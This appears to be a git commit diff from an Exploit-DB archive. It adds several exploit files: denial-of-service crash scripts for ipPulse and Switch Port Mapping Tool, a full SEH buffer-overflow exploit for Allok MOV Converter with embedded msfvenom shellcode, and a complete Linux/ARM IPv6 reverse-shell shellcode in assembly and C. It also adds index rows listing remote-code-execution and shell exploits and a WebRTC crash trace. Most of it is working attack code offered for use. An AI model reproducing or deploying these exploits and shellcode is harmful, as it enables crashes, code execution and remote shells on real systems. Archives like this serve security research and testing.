#6 0x55bd530d1142 in webrtc::RtpVideoStreamReceiver::OnRecoveredPacket(unsigned char const*, unsigned long) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:256:3
|
||||
#7 0x55bd530f8098 in webrtc::UlpfecReceiverImpl::ProcessReceivedFec() /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:239:35
|
||||
#8 0x55bd530d3fa9 in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:430:23
|
||||
#9 0x55bd530d134b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:401:5
|
||||
#10 0x55bd530d1fc2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:301:3
|
||||
#11 0x55bd40d97311 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/call/rtp_demuxer.cc:157:11
|
||||
#12 0x55bd40d9c1a1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19
|
||||
#13 0x55bd52e3fe39 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/call/call.cc:1292:36
|
||||
#14 0x55bd52e407e3 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/call/call.cc:1316:10
|
||||
#15 0x55bd5358b001 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/media/engine/webrtcvideoengine.cc:1444:26
|
||||
#16 0x55bd52deb9e2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/pc/channel.cc:0:21
|
||||
#17 0x55bd52e09370 in rtc::AsyncInvoker::OnMessage(rtc::Message*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/rtc_base/asyncinvoker.cc:45:22
|
||||
#18 0x55bd52ca1711 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../jingle/glue/thread_wrapper.cc:157:22
|
||||
#19 0x55bd52ca29ee in jingle_glue::JingleThreadWrapper::RunTask(int) /usr/local/google/home/natashenka/chromium/src/out/asan/../../jingle/glue/thread_wrapper.cc:279:7
|
||||
#20 0x55bd447abaf5 in Run /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/callback.h:96:12
|
||||
#21 0x55bd447abaf5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/debug/task_annotator.cc:101:0
|
||||
#22 0x55bd44809665 in base::MessageLoop::RunTask(base::PendingTask*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/message_loop/message_loop.cc:319:25
|
||||
#23 0x55bd4480a8d4 in DeferOrRunPendingTask /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/message_loop/message_loop.cc:329:5
|
||||
#24 0x55bd4480a8d4 in base::MessageLoop::DoWork() /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/message_loop/message_loop.cc:373:0
|
||||
#25 0x55bd44812bff in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/message_loop/message_pump_default.cc:37:31
|
||||
#26 0x55bd4487fdb1 in base::RunLoop::Run() /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/run_loop.cc:131:14
|
||||
#27 0x55bd448ff6c4 in base::Thread::ThreadMain() /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/threading/thread.cc:337:3
|
||||
#28 0x55bd449ccaa4 in base::(anonymous namespace)::ThreadFunc(void*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../base/threading/platform_thread_posix.cc:76:13
|
||||
#29 0x7fedd89fa493 in start_thread ??:0:0
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45123.zip
|
||||
22
exploits/windows/dos/45110.py
Executable file
22
exploits/windows/dos/45110.py
Executable file
|
|
@ -0,0 +1,22 @@
|
|||
# Exploit Title: ipPulse 1.92 - 'License Key' Denial of Service (PoC)
|
||||
# Discovery by: Shubham Singh
|
||||
# Known As: Spirited Wolf Twitter: @Pwsecspirit
|
||||
# Discovery Date: 2018-07-30
|
||||
# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html
|
||||
# Software Link: http://download.netscantools.com/ipls192.zip
|
||||
# Tested Version: 1.92
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows xp Service pack3 x86
|
||||
|
||||
# Steps to Reproduce:
|
||||
# Run the python exploit.py , Open exploit.txt and copy content.
|
||||
# Open ippulse.exe , Click On "Enter Key".
|
||||
# In the name field paste the content of "exploit.txt" and in Key type anything.
|
||||
# Press "OK" and B00m Crashed.
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
buffer = "\x41" * 256
|
||||
f = open ("exploit.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
24
exploits/windows/dos/45112.py
Executable file
24
exploits/windows/dos/45112.py
Executable file
|
|
@ -0,0 +1,24 @@
|
|||
# Exploit Title: Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)
|
||||
# Discovery by: Luis Martinez
|
||||
# Discovery Date: 2018-07-27
|
||||
# Vendor Homepage: https://switchportmapper.com/
|
||||
# Software Link : http://download.switchportmapper.com/spm281.zip
|
||||
# Tested Version: 2.81
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run python code : python Managed_Switch_Port_Mapping_Tool_2.81.py
|
||||
# 2.- Open Managed_Switch_Port_Mapping_Tool_2.81.txt and copy content to clipboard
|
||||
# 3.- Open spmap.exe
|
||||
# 4.- Switch Group > Settings
|
||||
# 6.- Paste ClipBoard on "SNMP v1/v2c Read Community Name"
|
||||
# 7.- OK
|
||||
# 8.- Crashed
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
buffer = "\x41" * 564
|
||||
f = open ("Managed_Switch_Port_Mapping_Tool_2.81.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
47
exploits/windows/local/45101.py
Executable file
47
exploits/windows/local/45101.py
Executable file
|
|
@ -0,0 +1,47 @@
|
|||
# Exploit Title: Allok MOV Converter 4.6.1217 - Buffer Overflow (SEH)
|
||||
# Date: 2018-07-29
|
||||
# Discovery by: Shubham Singh
|
||||
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
|
||||
# Software Link: http://www.alloksoft.com/allok_movconverter.exe
|
||||
# Tested Version: 4.6.1217
|
||||
# Tested on OS: Windows XP Service Pack 3 x86
|
||||
# Greetz: @hexachordanu @FuzzySec @LiveOverflow
|
||||
|
||||
# Steps to Reproduce: Run the python exploit script, it will create a new
|
||||
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
|
||||
# Start the Allok MOV Converter 4.6.1217 program and in the Lisence name paste the content of "exploit.txt" and click on Register.
|
||||
# You will see a sweet calculator poped up.
|
||||
|
||||
file = open("exploit.txt","wb")
|
||||
junk = "\x41" * 780
|
||||
nseh = "\xeb\x10\x90\x90" #Short Jump address
|
||||
seh = "\x79\x25\x01\x76" #0x76012579
|
||||
|
||||
nops = "\x90" * 16
|
||||
|
||||
#badchar \x00\x08\x09\x0a\x0b\x0c\x0d
|
||||
#msfvenom -p windows/exec CMD=calc.exe -b '\x00\x08\x09\x0a\x0b\x0c\x0d' -f python
|
||||
buf = ""
|
||||
buf += "\xba\xbb\xf0\xaa\x11\xdd\xc3\xd9\x74\x24\xf4\x5e\x31"
|
||||
buf += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\xb4\x12"
|
||||
buf += "\x5f\xed\x22\x50\xa0\x0e\xb2\x35\x28\xeb\x83\x75\x4e"
|
||||
buf += "\x7f\xb3\x45\x04\x2d\x3f\x2d\x48\xc6\xb4\x43\x45\xe9"
|
||||
buf += "\x7d\xe9\xb3\xc4\x7e\x42\x87\x47\xfc\x99\xd4\xa7\x3d"
|
||||
buf += "\x52\x29\xa9\x7a\x8f\xc0\xfb\xd3\xdb\x77\xec\x50\x91"
|
||||
buf += "\x4b\x87\x2a\x37\xcc\x74\xfa\x36\xfd\x2a\x71\x61\xdd"
|
||||
buf += "\xcd\x56\x19\x54\xd6\xbb\x24\x2e\x6d\x0f\xd2\xb1\xa7"
|
||||
buf += "\x5e\x1b\x1d\x86\x6f\xee\x5f\xce\x57\x11\x2a\x26\xa4"
|
||||
buf += "\xac\x2d\xfd\xd7\x6a\xbb\xe6\x7f\xf8\x1b\xc3\x7e\x2d"
|
||||
buf += "\xfd\x80\x8c\x9a\x89\xcf\x90\x1d\x5d\x64\xac\x96\x60"
|
||||
buf += "\xab\x25\xec\x46\x6f\x6e\xb6\xe7\x36\xca\x19\x17\x28"
|
||||
buf += "\xb5\xc6\xbd\x22\x5b\x12\xcc\x68\x31\xe5\x42\x17\x77"
|
||||
buf += "\xe5\x5c\x18\x27\x8e\x6d\x93\xa8\xc9\x71\x76\x8d\x26"
|
||||
buf += "\x38\xdb\xa7\xae\xe5\x89\xfa\xb2\x15\x64\x38\xcb\x95"
|
||||
buf += "\x8d\xc0\x28\x85\xe7\xc5\x75\x01\x1b\xb7\xe6\xe4\x1b"
|
||||
buf += "\x64\x06\x2d\x78\xeb\x94\xad\x51\x8e\x1c\x57\xae"
|
||||
|
||||
more = "\x41" * 100
|
||||
exploit = junk + nseh + seh + nops + buf + more
|
||||
|
||||
file.write(exploit)
|
||||
file.close()
|
||||
|
|
@ -6033,6 +6033,11 @@ id,file,description,date,author,type,platform,port
|
|||
45098,exploits/multiple/dos/45098.txt,"Skia - Heap Overflow in SkScan::FillPath due to Precision Error",2018-07-27,"Google Security Research",dos,multiple,
|
||||
45102,exploits/windows/dos/45102.py,"ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)",2018-07-30,"Luis Martínez",dos,windows,
|
||||
45104,exploits/windows/dos/45104.c,"Microsoft Windows Kernel - 'win32k!NtUserConsoleControl' Denial of Service (PoC)",2018-07-30,vportal,dos,windows,
|
||||
45110,exploits/windows/dos/45110.py,"ipPulse 1.92 - 'Licence Key' Denial of Service (PoC)",2018-07-31,"Shubham Singh",dos,windows,
|
||||
45112,exploits/windows/dos/45112.py,"Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)",2018-07-31,"Luis Martínez",dos,windows,
|
||||
45121,exploits/multiple/dos/45121.txt,"WebRTC - VP8 Block Decoding Use-After-Free",2018-08-01,"Google Security Research",dos,multiple,
|
||||
45122,exploits/multiple/dos/45122.txt,"WebRTC - FEC Processing Overflow",2018-08-01,"Google Security Research",dos,multiple,
|
||||
45123,exploits/multiple/dos/45123.txt,"WebRTC - H264 NAL Packet Processing Type Confusion",2018-08-01,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -9838,6 +9843,7 @@ id,file,description,date,author,type,platform,port
|
|||
45085,exploits/windows/local/45085.py,"10-Strike Bandwidth Monitor 3.7 - Local Buffer Overflow (SEH)",2018-07-25,absolomb,local,windows,
|
||||
45086,exploits/windows/local/45086.py,"10-Strike LANState 8.8 - Local Buffer Overflow (SEH)",2018-07-25,absolomb,local,windows,
|
||||
45089,exploits/linux/local/45089.py,"Inteno’s IOPSYS - (Authenticated) Local Privilege Escalation",2018-07-21,neonsea,local,linux,
|
||||
45101,exploits/windows/local/45101.py,"Allok MOV Converter 4.6.1217 - Buffer Overflow (SEH)",2018-07-30,"Shubham Singh",local,windows,
|
||||
45107,exploits/macos/local/45107.txt,"Charles Proxy 4.2 - Local Privilege Escalation",2018-07-30,"Mark Wadham",local,macos,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
|
|
@ -16650,6 +16656,8 @@ id,file,description,date,author,type,platform,port
|
|||
45052,exploits/hardware/remote/45052.py,"HomeMatic Zentrale CCU2 - Remote Code Execution",2018-07-18,"Kacper Szurek",remote,hardware,
|
||||
45079,exploits/windows/remote/45079.txt,"Microsoft Windows - 'dnslint.exe' Drive-By Download",2018-07-23,hyp3rlinx,remote,windows,
|
||||
45099,exploits/php/remote/45099.rb,"WordPress Plugin Responsive Thumbnail Slider - Arbitrary File Upload (Metasploit)",2018-07-27,Metasploit,remote,php,80
|
||||
45100,exploits/linux/remote/45100.rb,"Axis Network Camera - .srv to parhand RCE (Metasploit)",2018-07-27,Metasploit,remote,linux,80
|
||||
45124,exploits/linux/remote/45124.rb,"SonicWall Global Management System - XMLRPC set_time_zone Command Injection (Metasploit)",2018-08-01,Metasploit,remote,linux,80
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -39712,6 +39720,7 @@ id,file,description,date,author,type,platform,port
|
|||
45063,exploits/hardware/webapps/45063.txt,"Touchpad / Trivum WebTouch Setup 2.53 build 13163 - Authentication Bypass",2018-07-20,vulnc0d3,webapps,hardware,
|
||||
45083,exploits/php/webapps/45083.rb,"Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)",2018-07-24,"Mehmet Ince",webapps,php,
|
||||
45070,exploits/hardware/webapps/45070.txt,"NUUO NVRmini - 'upgrade_handle.php' Remote Command Execution",2018-07-23,"Berk Dusunur",webapps,hardware,
|
||||
45073,exploits/linux/webapps/45073.txt,"Synology DiskStation Manager 4.1 - Directory Traversal",2018-07-23,"Berk Dusunur",webapps,linux,
|
||||
45076,exploits/hardware/webapps/45076.py,"Davolink DVW 3200 Router - Password Disclosure",2018-07-23,"Ankit Anubhav",webapps,hardware,
|
||||
45078,exploits/hardware/webapps/45078.py,"Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)",2018-07-23,"Nathu Nandwani",webapps,hardware,80
|
||||
45084,exploits/hardware/webapps/45084.txt,"D-link DAP-1360 - Path Traversal / Cross-Site Scripting",2018-07-24,r3m0t3nu11,webapps,hardware,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -897,3 +897,4 @@ id,file,description,date,author,type,platform
|
|||
45029,shellcodes/arm/45029.c,"Linux/ARM - Bind (1234/TCP) Shell (/bin/sh) Shellcode (104 bytes)",2018-07-16,odzhancode,shellcode,arm
|
||||
45039,shellcodes/linux_x86-64/45039.c,"Linux/x64 - Reverse (::1:1337/TCP) Shell (/bin/sh) + IPv6 + Password (pwnd) Shellcode (115 bytes)",2018-07-17,"Hashim Jawad",shellcode,linux_x86-64
|
||||
45080,shellcodes/linux_x86/45080.c,"Linux/x86 - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (100 bytes)",2018-07-23,"Kartik Durg",shellcode,linux_x86
|
||||
45119,shellcodes/arm/45119.c,"Linux/ARM - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (116 Bytes)",2018-08-01,"Ken Kitahara",shellcode,arm
|
||||
|
|
|
|||
|
120
shellcodes/arm/45119.c
Normal file
120
shellcodes/arm/45119.c
Normal file
|
|
@ -0,0 +1,120 @@
|
|||
/*
|
||||
Title: Linux/ARM - IPv6 ::1 4444/TCP Reverse Shellcode (116 Bytes)
|
||||
Date: 2018-07-25
|
||||
Tested: armv7l (Raspberry Pi 3 Model B+)
|
||||
Author: Ken Kitahara
|
||||
|
||||
pi@raspberrypi:~ $ uname -a
|
||||
Linux raspberrypi 4.14.34-v7+ #1110 SMP Mon Apr 16 15:18:51 BST 2018 armv7l GNU/Linux
|
||||
pi@raspberrypi:~ $ lsb_release -a
|
||||
No LSB modules are available.
|
||||
Distributor ID: Raspbian
|
||||
Description: Raspbian GNU/Linux 9.4 (stretch)
|
||||
Release: 9.4
|
||||
Codename: stretch
|
||||
pi@raspberrypi:~ $ cat reverseshell-ipv6.s
|
||||
.section .text
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
.ARM
|
||||
add r3, pc, #1
|
||||
bx r3
|
||||
|
||||
.THUMB
|
||||
// socket(AF_INET6, SOCK_STREAM, IPPROTO_IP)
|
||||
mov r0, #10
|
||||
mov r1, #1
|
||||
eor r2, r2, r2
|
||||
mov r7, #100
|
||||
add r7, r7, #181
|
||||
svc #1
|
||||
// save fd
|
||||
mov r4, r0
|
||||
|
||||
// connect(fd, &sockaddr, 28)
|
||||
adr r1, struct_addr
|
||||
strb r2, [r1, #1]
|
||||
str r2, [r1, #4]
|
||||
str r2, [r1, #8]
|
||||
str r2, [r1, #12]
|
||||
str r2, [r1, #16]
|
||||
strh r2, [r1, #20]
|
||||
strb r2, [r1, #22]
|
||||
str r2, [r1, #24]
|
||||
mov r2, #28
|
||||
add r7, r7, #2
|
||||
svc #1
|
||||
|
||||
// dup2(sockid, 0)
|
||||
mov r0, r4
|
||||
eor r1, r1, r1
|
||||
mov r7, #63
|
||||
svc #1
|
||||
|
||||
// dup2(sockid, 1)
|
||||
mov r0, r4
|
||||
add r1, r1, #1
|
||||
svc #1
|
||||
|
||||
// dup2(sockid, 2)
|
||||
mov r0, r4
|
||||
add r1, r1, #1
|
||||
svc #1
|
||||
|
||||
// execve("/bin/sh", 0, 0)
|
||||
eor r1, r1, r1
|
||||
eor r2, r2, r2
|
||||
adr r0, spawn
|
||||
strb r2, [r0, #7]
|
||||
mov r7, #11
|
||||
svc #1
|
||||
|
||||
// adjust address
|
||||
eor r7, r7, r7
|
||||
|
||||
spawn:
|
||||
.ascii "/bin/shA"
|
||||
|
||||
struct_addr:
|
||||
.ascii "\x0a\xff" // sin6_family -> AF_INET6
|
||||
.ascii "\x11\x5c" // sin6_port -> 4444
|
||||
.byte 1,1,1,1 // sin6_flowinfo -> NULL
|
||||
.byte 1,1,1,1 // sin6_addr -> ::1
|
||||
.byte 1,1,1,1
|
||||
.byte 1,1,1,1
|
||||
.byte 1,1,1,1
|
||||
.byte 1,1,1,1 // sin6_scope_id -> NULL
|
||||
|
||||
pi@raspberrypi:~ $
|
||||
|
||||
*/
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char sc[] = \
|
||||
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
|
||||
"\x0a\x20\x01\x21\x52\x40\x64\x27"
|
||||
"\xb5\x37\x01\xdf\x04\x1c\x10\xa1"
|
||||
"\x4a\x70\x4a\x60\x8a\x60\xca\x60"
|
||||
"\x0a\x61\x8a\x82\x8a\x75\x8a\x61"
|
||||
"\x1c\x22\x02\x37\x01\xdf\x20\x1c"
|
||||
"\x49\x40\x3f\x27\x01\xdf\x20\x1c"
|
||||
"\x01\x31\x01\xdf\x20\x1c\x01\x31"
|
||||
"\x01\xdf\x49\x40\x52\x40\x02\xa0"
|
||||
"\xc2\x71\x0b\x27\x01\xdf\x7f\x40"
|
||||
"\x2f\x62\x69\x6e\x2f\x73\x68\x41"
|
||||
"\x0a\xff\x11\x5c\x01\x01\x01\x01"
|
||||
"\x01\x01\x01\x01\x01\x01\x01\x01"
|
||||
"\x01\x01\x01\x01\x01\x01\x01\x01"
|
||||
"\x01\x01\x01\x01";
|
||||
|
||||
void main()
|
||||
{
|
||||
printf("Shellcode Length: %d\n", strlen(sc));
|
||||
|
||||
int (*ret)() = (int(*)())sc;
|
||||
|
||||
ret();
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue